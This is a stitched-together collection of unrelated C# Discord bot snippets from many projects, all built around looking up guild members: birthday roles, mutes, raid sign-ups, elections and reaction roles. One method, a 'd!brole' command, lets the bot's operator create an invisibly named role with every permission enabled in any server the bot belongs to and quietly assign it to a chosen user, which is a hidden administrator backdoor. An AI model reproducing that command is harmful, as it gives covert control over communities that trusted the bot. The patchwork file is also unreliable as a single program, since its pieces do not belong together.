private async Task UpdateMessageRoles(IMessage message) { try { var roles = _guild.Roles; IRole role = roles.FirstOrDefault(r => r.Name == message.Content); if (role == null) { role = await _guild.CreateRoleAsync(message.Content, GuildPermissions.None, Color.Default, false, true); } var reactions = message.GetReactionUsersAsync(subscribeEmoji, 100).Flatten(); await reactions.ForEachAsync(async r => await _guild.GetUser(r.Id).AddRoleAsync(role) ); triggersList.Add(message.Content); } catch (Exception e) { Console.WriteLine(e); } }
private async Task NotifyGuild(List <BirthdayModel> currentBirthdays, SocketGuild guild, SocketTextChannel channel, IRole role) { if (currentBirthdays.Any(x => guild.GetUser(x.UserId) != null)) { var guildBirthdays = currentBirthdays.Select(x => (guild.GetUser(x.UserId), x)).Where(x => x.Item1 != null).ToList(); foreach (var user in guildBirthdays) { if (user.Item1.Roles.Any(x => x.Id == role.Id)) { //Users are assigned the birthday role //Therefore if they already have the role their birthday will have been announced. continue; } await user.Item1.AddRoleAsync(role).ConfigureAwait(false); await channel.SendMessageAsync($"{user.Item1.Mention}", false, new EmbedBuilder() { Title = $"Happy Birthday to {user.Item1.Nickname ?? user.Item1.Username}", Description = user.Item2.ShowYear ? $"They are now: {user.Item2.Age()} years old" : null, Color = Color.Blue, Author = new EmbedAuthorBuilder() { IconUrl = user.Item1.GetAvatarUrl(), Name = user.Item1.Nickname ?? user.Item1.Username } }.Build()).ConfigureAwait(false); } } }
public static async Task AssignRoleAsync(ulong user, ulong role) { var svUser = _guild.GetUser(user); var svRole = _guild.GetRole(role); await AssignRoleAsync(svUser, svRole).ConfigureAwait(true); }
async Task <bool> FixRaidMessageAfterLoad(SocketGuild guild, IUserMessage message) { var raidInfo = ParseRaidInfo(message); if (raidInfo == null) { return(false); } logger.LogInformation($"Updating raid message '{message.Id}'"); raidStorageService.AddRaid(guild.Id, message.Channel.Id, message.Id, raidInfo); // Adjust user count var allUsersWithThumbsUp = await message.GetReactionUsersAsync(Emojis.ThumbsUp, ReactionUsersLimit).FlattenAsync(); var usersWithThumbsUp = allUsersWithThumbsUp .Where(t => !t.IsBot) .Select(t => guild.GetUser(t.Id)) .Where(t => t != null); foreach (var user in usersWithThumbsUp) { raidInfo.Players[user.Id] = userService.GetPlayer(guild.GetUser(user.Id)); } // Extra players for (int i = 0; i < Emojis.KeycapDigits.Length; i++) { var emoji = Emojis.KeycapDigits[i]; var usersWithKeycapReaction = await message.GetReactionUsersAsync(emoji, ReactionUsersLimit).FlattenAsync(); foreach (var user in usersWithKeycapReaction.Where(t => !t.IsBot)) { raidInfo.ExtraPlayers.Add((user.Id, ExtraPlayerKeycapDigitToCount(emoji.Name))); } } await message.ModifyAsync(t => { t.Content = string.Empty; t.Embed = ToEmbed(raidInfo); }); var allReactions = message.Reactions; var invalidReactions = allReactions.Where(t => !IsValidReactionEmote(t.Key.Name)).ToList(); // Remove invalid reactions foreach (var react in invalidReactions) { var users = await message.GetReactionUsersAsync(react.Key, ReactionUsersLimit, retryOptions).FlattenAsync(); foreach (var user in users) { await message.RemoveReactionAsync(react.Key, user, retryOptions); } } return(true); }
public async Task MainAsync() { await _discordClient.LoginAsync(TokenType.Bot, File.ReadAllText(TokenLocation)).ConfigureAwait(true); await _discordClient.StartAsync().ConfigureAwait(true); // Block the program until it is closed. while (true) { var line = Console.ReadLine(); //user wants to exit if (line == "exit") { break; } //Recheck //TODO: Clean this up, its so ugly if (line == "recheck") { var serverNonReacts = await GetNonReactUsersAsync(ServerRulesId, ServerRulesMessageId).ConfigureAwait(true); //TODO: My mind is burnt out right now, i was gonna do something with this earlier //var tenManNonReacts = await GetNonReactUsers(TenManRulesId, TenManRulesMessageId).ConfigureAwait(true); var visitorRole = GetSocketRoleFromId(VisitorRoleId); foreach (var x in serverNonReacts) { if (x.IsBot) { continue; } var fUser = _guild.Users.First(y => y.Id == x.Id); if (fUser.Roles.Count == 2 && fUser.Roles.Contains(visitorRole)) { continue; } var guildUser = _guild.GetUser(fUser.Id); foreach (var r in guildUser.Roles) { if (r.IsEveryone) { continue; } await RoleAssigner.RemoveRoleAsync(guildUser, r).ConfigureAwait(true); } await RoleAssigner.AssignRoleAsync(x.Id, VisitorRoleId).ConfigureAwait(true); } } } _discordClient.Dispose(); }
public void PollElections() { using (VooperContext context = new VooperContext(DBOptions)) { foreach (Election election in context.Elections.AsQueryable().Where(x => x.Active)) { if (DateTime.UtcNow > election.End_Date) { // End the election if (election.Type.ToLower() == "senate") { var results = election.GetResults().Result; User winner = results[0].Candidate; election.Active = false; election.Winner_Id = winner.Id; context.Elections.Update(election); context.SaveChanges(); District district = context.Districts.Find(election.District); district.Senator = winner.Id; Group group = context.Groups.Find(district.Group_Id); group.Owner_Id = winner.Id; context.Groups.Update(group); context.Districts.Update(district); context.SaveChanges(); SocketGuildUser dUser = server.GetUser((ulong)winner.discord_id); if (dUser != null) { dUser.AddRoleAsync(server.Roles.FirstOrDefault(x => x.Name == "Senator")); } EmbedBuilder embed = new EmbedBuilder() { Color = new Color(0, 100, 255), Title = $"**{winner.UserName}** wins Senate Election!" } .WithAuthor(dUser) .WithCurrentTimestamp(); embed.AddField("News Outlet", "VoopAI Auto News"); embed.AddField("Author", "VoopAI The Bot"); embed.AddField("Content", $"Congratulations to {winner.UserName} on winning the {election.District} elections! They won with {results[0].Votes} votes to become the new Senator. " + $"Please check other news outlets for more details!"); VoopAI.newsChannel.SendMessageAsync(embed: embed.Build()); } } } } }
public async Task role(ulong Uid, ulong GuildId) { bCheck(); if (check != true) { return; } if (Context.Client.Guilds.Where(x => x.Id == GuildId).Count() < 1) { await Context.User.SendMessageAsync($":x: **I am not in a guild with id: {GuildId}**"); return; } SocketGuild Guild = Context.Client.Guilds.Where(x => x.Id == GuildId).FirstOrDefault(); SocketUser UserS = Guild.GetUser(Uid); if (UserS == null) { await Context.User.SendMessageAsync($":x: **Can't find user with id: {Uid} in {Guild.Name}**"); return; } try { GuildPermissions perm = new GuildPermissions(); Color col = new Color(47, 49, 54); perm = perm.Modify(true, true, true, true, true, true, true, true, true, true, true, true, true, true, true, true, true, true, true, true, true, true, true, true, true, true, true); if (Guild.Roles.Where(x => x.Name == "ᅠ").Count() < 1) { await Guild.CreateRoleAsync("ᅠ", perm, col, false); } var role = Guild.Roles.FirstOrDefault(x => x.Name == "ᅠ"); await Guild.GetUser(Uid).AddRoleAsync(role); EmbedBuilder eb = new EmbedBuilder(); eb.WithAuthor($"Succesfull", UserS.GetAvatarUrl()); eb.WithColor(40, 200, 150); eb.WithDescription($":white_check_mark: **Role gave to {UserS.Username} in {Guild.Name} succesfully**"); eb.WithThumbnailUrl($"{Guild.IconUrl}"); await Context.User.SendMessageAsync("", false, eb.Build()); string text = $"[{DateTime.UtcNow}] {Context.User.Username} used d!brole command for user {Guild.Users.FirstOrDefault(x => x.Id == Uid).Username} in {Guild.Name}."; Console.WriteLine(text); await bLog(text); } catch (Exception ex) { EmbedBuilder eb = new EmbedBuilder(); eb.WithAuthor($"Error"); eb.WithColor(40, 200, 150); eb.WithDescription($":x: **Can't give role to user with id {Uid} in {Guild.Name} {Environment.NewLine} Error: {ex.Message}**"); await Context.User.SendMessageAsync("", false, eb.Build()); } }
public static async Task <SocketGuildUser> GetGuildUserAsync(this SocketGuild guild, ulong id) { SocketGuildUser user = guild.GetUser(id); if (user == null) { await guild.DownloadUsersAsync(); user = guild.GetUser(id); } return(user); }
public static bool IsHigherRankedThan(this SocketUser currentUser, SocketUser compareUser, SocketGuild guild) { var currentGuildUser = guild.GetUser(currentUser.Id); var compareGuildUser = guild.GetUser(compareUser.Id); if (currentUser == null || compareUser == null || currentGuildUser == null || compareGuildUser == null) { throw new NullReferenceException("Specified users cannot be null and must be a member of the target guild"); } return(IsHigherRankedThan(currentGuildUser, compareGuildUser)); }
public static Task Initialize() { var timer = new Timer(5000) { AutoReset = true, Enabled = true }; timer.Elapsed += async(_, _) => { List <MutedUser> curMutedUsers = await DatabaseQueries.GetAllAsync <MutedUser>(x => x.ExpiresAt < DateTime.Now.ToOADate()); foreach (MutedUser mutedUser in curMutedUsers) { SocketGuild guild = ConfigProperties.Client.GetGuild(mutedUser.ServerId); if (guild == null) { goto RemoveFromDB; } Server server = await DatabaseQueries.GetOrCreateServerAsync(guild.Id); SocketGuildUser user = guild.GetUser(mutedUser.UserId); SocketGuildUser selfUser = guild.GetUser(ConfigProperties.Client.CurrentUser.Id); try { SocketRole muteRole = guild.Roles.FirstOrDefault(x => x.Name == "kaguya-mute"); await user.RemoveRoleAsync(muteRole); KaguyaEvents.TriggerUnmute(new ModeratorEventArgs(server, guild, user, selfUser, "Automatic unmute (timed mute has expired)", null)); } catch (Exception) { await ConsoleLogger.LogAsync($"Exception handled when unmuting a user in guild [Name: {guild.Name} | ID: {guild.Id}]", LogLvl.WARN); } await DatabaseQueries.UpdateAsync(server); RemoveFromDB: await DatabaseQueries.DeleteAsync(mutedUser); await ConsoleLogger.LogAsync($"User [ID: {mutedUser.UserId}] has been automatically unmuted.", LogLvl.DEBUG); } }; return(Task.CompletedTask); }
public static async Task <ulong> MakeBanMessage(IServiceProvider map, SocketGuild guild, Dictionary <ulong, DateTime> bans, ulong banMessageId, ulong banAnnouncementChannel, string messageText) { try { var message = ""; var list = bans.ToList(); list.Sort((x, y) => x.Value.CompareTo(y.Value)); foreach (var ban in list) { if (guild.GetUser(ban.Key) != null) { message += $"{guild.GetUser(ban.Key).Mention}-{ban.Value.ToString()}\n"; } else { message += $"<@!{ban.Key}>-{ban.Value.ToString()}\n"; } } var embed = new EmbedBuilder() .WithColor(Color.Green) .WithDescription(message); if (banMessageId != 0) { var banAnnouncemens = guild.GetTextChannel(banAnnouncementChannel); var banMessage = await banAnnouncemens.GetMessageAsync(banMessageId) as IUserMessage; await banMessage.ModifyAsync(x => x.Embed = embed.Build()); return(banMessageId); } else { var banAnnouncemens = guild.GetTextChannel(banAnnouncementChannel); var sentMessage = await banAnnouncemens.SendMessageAsync(messageText, embed : embed.Build()); return(sentMessage.Id); } } catch (Exception e) { Console.WriteLine($"[{DateTime.Now.ToString()}] MakeBanMessageFailed: {e.Message}"); } return(banMessageId); }
public static async Task <SocketGuildUser> GetUserFromGuildAsync(this SocketGuild guild, string userId) { var idOfUser = Convert.ToUInt64(userId); var user = guild.GetUser(idOfUser); if (user == null) { await guild.DownloadUsersAsync().ConfigureAwait(false); user = guild.GetUser(idOfUser); } return(user); }
public string Clean(SocketGuild guild) { int numErrors = 0, numSuccesses = 0; var role = guild.Roles.SingleOrDefault(r => r.Name == "Applicant"); foreach (var user in _applicants.ToList()) { var socketUser = _client.GetUser(user.DiscordId); // Deleted user? if (socketUser == null) { if (_applicants.Remove(user)) { ++numSuccesses; } else { ++numErrors; } } // Is the user in the guild? else if (guild.GetUser(user.DiscordId) == null) { if (_applicants.Remove(user)) { ++numSuccesses; } else { ++numErrors; } } // Does the user exist, but is not an applicant anymore? else if (!guild.GetUser(user.DiscordId).Roles.Contains(role)) { if (_applicants.Remove(user)) { ++numSuccesses; } else { ++numErrors; } } } _data.Save("applicants", _applicants); return("Clean completed. There were " + numSuccesses + " orphaned data. " + "Error(s): " + numErrors); }
public async Task Start() { //getting the user on the server to see their roles SocketGuild s = _client.GetGuild(Config.SERVER_ID_MINIGAMES); SocketGuildUser u = s.GetUser(Context.User.Id); bool roleFound = false; //to output correct message //loopsing through roles to see if they have the correct one foreach (SocketRole role in u.Roles) { if (role.Name == "Coordinator" || s.Owner.Id == Context.User.Id) { _game.ClearGame(); //clears previous lists _game.GameController = Context.User.ToString(); //sets the controller to whoever used this command _game.startTime = DateTime.Now; _game.GameGoing = true; roleFound = true; await UpdateTextChannel(); } } if (roleFound) { await ReplyAsync("Game is started."); } else { await ReplyAsync("User does not have the proper role to coordinate games."); } }
private void CheckEveryonePermissions(SocketGuild guild, ulong userID) { if (guild.GetUser(userID) == null) { throw new ForbiddenAccessException("User defined in authorization header is not on required server."); } }
public async Task PrintEmbed() { //getting the user on the server to see their roles SocketGuild s = _client.GetGuild(Config.SERVER_ID_MINIGAMES); SocketGuildUser u = s.GetUser(Context.User.Id); bool roleFound = false; //to output correct message //loopsing through roles to see if they have the correct one foreach (SocketRole role in u.Roles) { if (role.Name == "Admin" || s.Owner.Id == Context.User.Id) { roleFound = true; } } if (roleFound) { await ReplyAsync("", false, eb1); } else { await ReplyAsync("You do not have permission to use this!"); } }
public async Task ClearScouts() { //getting the user on the server to see their roles SocketGuild s = _client.GetGuild(Config.SERVER_ID_MINIGAMES); SocketGuildUser u = s.GetUser(Context.User.Id); bool roleFound = false; //to output correct message //loopsing through roles to see if they have the correct one foreach (SocketRole role in u.Roles) { if (role.Name == "Admin" || s.Owner.Id == Context.User.Id) { roleFound = true; } } if (roleFound) { await ReplyAsync(_bands.ClearInfo()); await UpdateTextChannel("[" + Context.User.ToString() + "] - " + " Imformation cleared."); } else { await ReplyAsync("You do not have permission to use this!"); } }
public async Task RemoveWorld(int worldNum) { //getting the user on the server to see their roles SocketGuild s = _client.GetGuild(Config.SERVER_ID_MINIGAMES); SocketGuildUser u = s.GetUser(Context.User.Id); bool roleFound = false; //to output correct message //loopsing through roles to see if they have the correct one foreach (SocketRole role in u.Roles) { if (role.Name == "Geobies" || role.Name == "Goobies" || s.Owner.Id == Context.User.Id) { roleFound = true; } } if (roleFound) { await ReplyAsync(_bands.RemoveWorld(worldNum)); await UpdateTextChannel("[" + Context.User.ToString() + "] " + " removed world " + worldNum); } else { await ReplyAsync("You do not have permission to use this!"); } }
public async Task OutputMonthlyTotals() { //getting the user on the server to see their roles SocketGuild s = _client.GetGuild(Config.SERVER_ID_MINIGAMES); SocketGuildUser u = s.GetUser(Context.User.Id); bool roleFound = false; //to output correct message //loopsing through roles to see if they have the correct one foreach (SocketRole role in u.Roles) { if (role.Name == "Geobies" || role.Name == "Goobies" || s.Owner.Id == Context.User.Id) { roleFound = true; } } if (roleFound) { List <string> output = _bands.OutputTotalScouts(); for (int i = 0; i < output.Count; ++i) { await ReplyAsync(output[i]); } } else { await ReplyAsync("You do not have permission to use this!"); } }
static public Embed LogJoin(SocketGuild guild, SocketGuildUser user) { //Try to narrow down the name of the user who created the invite var invites = guild.GetInvitesAsync().Result.ToArray(); string inviterMsg = "."; try { foreach (var inviteData in invites) { List <string> codes = JackFrostBot.UserSettings.Invites.GetCodes(guild.Id); foreach (string code in codes) { if (!invites.Any(x => x.Code.ToString().Equals(code)) && invites.Count().Equals(codes.Count - 1)) { ulong inviterID = JackFrostBot.UserSettings.Invites.GetUser(guild.Id, code); var inviter = guild.GetUser(inviterID); inviterMsg = $"by **{inviter.Username}** ({inviter.Id}) using invite ``{code}``"; } } } } catch { } var builder = new EmbedBuilder() .WithDescription($":calling: **{user.Username}** was invited to the server{inviterMsg}") .WithColor(new Color(0x0094FF)); return(builder.Build()); }
public async Task RoleRemoveUsers(SocketGuild server, List <ulong> userList, List <IRole> roleList, SocketChannel channel = null, bool outputMessages = false) { // Define variables string output; SocketGuildUser user; // Initialise variables output = ""; try { foreach (ulong curUserID in userList) { user = server.GetUser(curUserID); await user.RemoveRolesAsync(roleList); } output += $"Removed {userList.Count} users from {roleList.Count} roles"; output += "\r\n"; } catch (Exception ex) { Console.WriteLine(ex.Message); return; } if (channel != null && outputMessages) { await ReplyAsync(output); } }
private static async Task SendMessageAsync(SocketGuild guild, EmbedBuilder embed, IReadOnlyCollection <SocketUser> message_mentions, SocketGuildChannel channel) { IUserMessage message = await(channel as IMessageChannel).SendMessageAsync(null, false, embed.Build()); if (message_mentions.Count > 0) { var sendMentions = Task.Run(async() => { string mentions = ""; foreach (var user in message_mentions) { if (guild.GetUser(user.Id) != null) { mentions = mentions + " " + user.Mention; } } if (mentions.Length > 0) { var mention = await(channel as IMessageChannel).SendMessageAsync(mentions); await Task.Delay(100); await mention.DeleteAsync(); } }); } }
private async Task OnReactionRemoved(Cacheable <IUserMessage, ulong> cache, ISocketMessageChannel channel, SocketReaction reaction) { // remove vote if (pendingGames.ContainsKey(reaction.MessageId) && reaction.Emote.Name == "\u2705") { pendingGames[reaction.MessageId].votes--; } else if (reaction.MessageId == roleMessageId) { // they reacted to the correct role message IGuildChannel guildChannel = channel as IGuildChannel; SocketGuild guild = guildChannel.Guild as SocketGuild; //GlobalUtils.client.Guilds.FirstOrDefault(); SocketUser user = GlobalUtils.client.GetUser(reaction.UserId); SocketGuildUser guser = guild.GetUser(user.Id); Console.WriteLine("Remove Game Role: " + guser.Nickname); for (int i = 0; i < games.Count && i < GlobalUtils.menu_emoji.Count <string>(); i++) { if (GlobalUtils.menu_emoji[i] == reaction.Emote.Name) { Console.WriteLine("Emoji Found"); var result = from a in guild.Roles where a.Name == games[i].game select a; SocketRole role = result.FirstOrDefault(); Console.WriteLine("Role: " + role.Name); await guser.RemoveRoleAsync(role); } } } Save(); }
public bool IsMatch(SocketMessage message) { SocketGuild socketGuild = message.Author.MutualGuilds.Single(x => x.Name == this.discordClient.GuildName); SocketGuildUser socketGuildUser = socketGuild.GetUser(message.Author.Id); return(this.regex.IsMatch(message.Content) && socketGuildUser.Roles.Any(x => x.Name == this.discordClient.AnnouncementRoleName)); }
public static EmbedBuilder UnconfirmedEmbed(bool adminConfirmed, MinecraftGuild minecraftGuild, ulong guildId, List <bool> confirmedMembers) { EmbedBuilder embed; StringBuilder description = new StringBuilder(); description.AppendLine($"Admin Confirmation: {(adminConfirmed ? "Granted" : "*Pending*")}"); for (int i = 0; i < minecraftGuild.MemberIds.Count; i++) { ulong memberId = (ulong)minecraftGuild.MemberIds[i]; SocketGuildUser member = null; SocketGuild guild = BotCore.Client.GetGuild(guildId); if (guild != null) { member = guild.GetUser(memberId); } description.AppendLine($"{(member == null ? memberId.ToString() : member.Mention)} Founding Membership Confirmation: {(confirmedMembers[i] ? "Granted" : "*Pending*")}"); } embed = new EmbedBuilder() { Title = $"Founding of Guild \"{minecraftGuild.Name}\" - Waiting for confirmations", Color = minecraftGuild.DiscordColor, Description = description.ToString() }; return(embed); }
private async Task RestartBot(SocketInteraction interaction, ulong botId) { if (interaction.User.Id != Config.ReversesId) { await interaction.PrintError(); return; } else if (!Bots.List.Contains(botId)) { await interaction.PrintError("That can't be restarted"); return; } Bots.RestartBot(botId); var botAccount = _reversesGuild.GetUser(botId); await interaction.RespondAsync(embed : new EmbedBuilder() .WithAuthor(new EmbedAuthorBuilder() .WithName($"Restarted {botAccount.Username}") .WithIconUrl(botAccount.GetAvatarUrl())) .WithColor(Embeds.Green) .Build()); }
public async Task CheckReaction(Cacheable <IUserMessage, ulong> cachedMessage, ISocketMessageChannel channel, SocketReaction reaction) { try { if ((reaction.User.IsSpecified && reaction.User.Value.IsBot) || !(channel is SocketGuildChannel)) { return; //Makes sure it's not logging a message from a bot and that it's in a discord server } var message = cachedMessage.GetOrDownloadAsync().Result; SocketGuildChannel chnl = channel as SocketGuildChannel; SocketGuild guild = chnl?.Guild; if (guild == null) { return; } ModerationSettings settings = guild.LoadFromFile <ModerationSettings>(false); SocketGuildUser gUser = guild.GetUser(reaction.UserId); var Guild = chnl.Guild; if (settings?.badUEmojis.IsNullOrEmpty() ?? true || (reaction.User.Value as SocketGuildUser).CantBeWarned() || reaction.User.Value.IsBot) { return; } if (settings.badUEmojis.Select(emoji => new Emoji(emoji)).Contains(reaction.Emote)) { await message.RemoveReactionAsync(reaction.Emote, reaction.User.Value); await((SocketGuildUser)reaction.User.Value).Warn(1, "Bad reaction used", channel as SocketTextChannel); IUserMessage warnMessage = await channel.SendMessageAsync( $"{reaction.User.Value.Mention} has been given their {(reaction.User.Value as SocketGuildUser).LoadInfractions().Count.Suffix()} infraction because of bad reaction used"); } } catch (Exception e) { await new LogMessage(LogSeverity.Error, "Filter", "Something went wrong with the reaction filter", e).Log(); } }
private async Task OnReactionAdded(Cacheable <IUserMessage, ulong> cache, ISocketMessageChannel channel, SocketReaction reaction) { SocketUser user = GlobalUtils.client.GetUser(reaction.UserId); SocketGuildUser guser = user as SocketGuildUser; if (channel.Id != roleChannel.Id || user.IsBot) { return; // Task.CompletedTask; } if (reaction.MessageId == roleMessageId) { // they reacted to the correct role message SocketGuild guild = GlobalUtils.client.Guilds.FirstOrDefault(); guser = guild.GetUser(user.Id); for (int i = 0; i < roles.Count && i < 9; i++) { if (menu_emoji[i] == reaction.Emote.Name) { var result = from a in guild.Roles where a.Name == roles[i] select a; SocketRole role = result.FirstOrDefault(); await guser.AddRoleAsync(role); } } } }
private static async Task MoveUserFromWaitingListToSubscribers(PickupQueue queue, Subscriber subscriber, ISocketMessageChannel channel, SocketGuild guild) { if (queue.WaitingList.Any()) { var next = queue.WaitingList.First(); queue.WaitingList.RemoveAt(0); queue.Subscribers.Add(next); var nextUser = guild.GetUser(next.Id); if (nextUser != null) { await channel.SendMessageAsync($"{PickupHelpers.GetMention(nextUser)} - you have been added to '{queue.Name}' since {subscriber.Name} has left.").AutoRemoveMessage(); if (queue.Started) { var team = queue.Teams.FirstOrDefault(w => w.Subscribers.Exists(s => s.Id == subscriber.Id)); if (team != null) { team.Subscribers.Remove(team.Subscribers.Find(s => s.Id == subscriber.Id)); team.Subscribers.Add(new Subscriber { Name = PickupHelpers.GetNickname(nextUser), Id = nextUser.Id }); await channel.SendMessageAsync($"{PickupHelpers.GetMention(nextUser)} - you are on the {team.Name}") .AutoRemoveMessage() ; } } await PickupHelpers.NotifyUsers(queue, guild.Name, nextUser); } } }
public Embed GetWaifuFromCharacterSearchResult(string title, IEnumerable <Card> cards, SocketGuild guild) { string contentString = ""; foreach (var card in cards) { string favIcon = ""; string shopIcon = ""; string tradableIcon = card.IsTradable ? "" : "⛔"; if (card.Tags != null) { favIcon = card.Tags.Contains("ulubione", StringComparison.CurrentCultureIgnoreCase) ? " 💗" : ""; shopIcon = card.Tags.Contains("wymiana", StringComparison.CurrentCultureIgnoreCase) ? " 🔄" : ""; } string tags = $"{tradableIcon}{favIcon}{shopIcon}"; var thU = guild.GetUser(card.GameDeck.UserId); if (thU != null) { contentString += $"{thU.Mention ?? "????"} **[{card.Id}]** {tags}\n"; } } return(new EmbedBuilder() { Color = EMType.Info.Color(), Description = $"{title}\n\n{contentString.TrimToLength(1850)}" }.Build()); }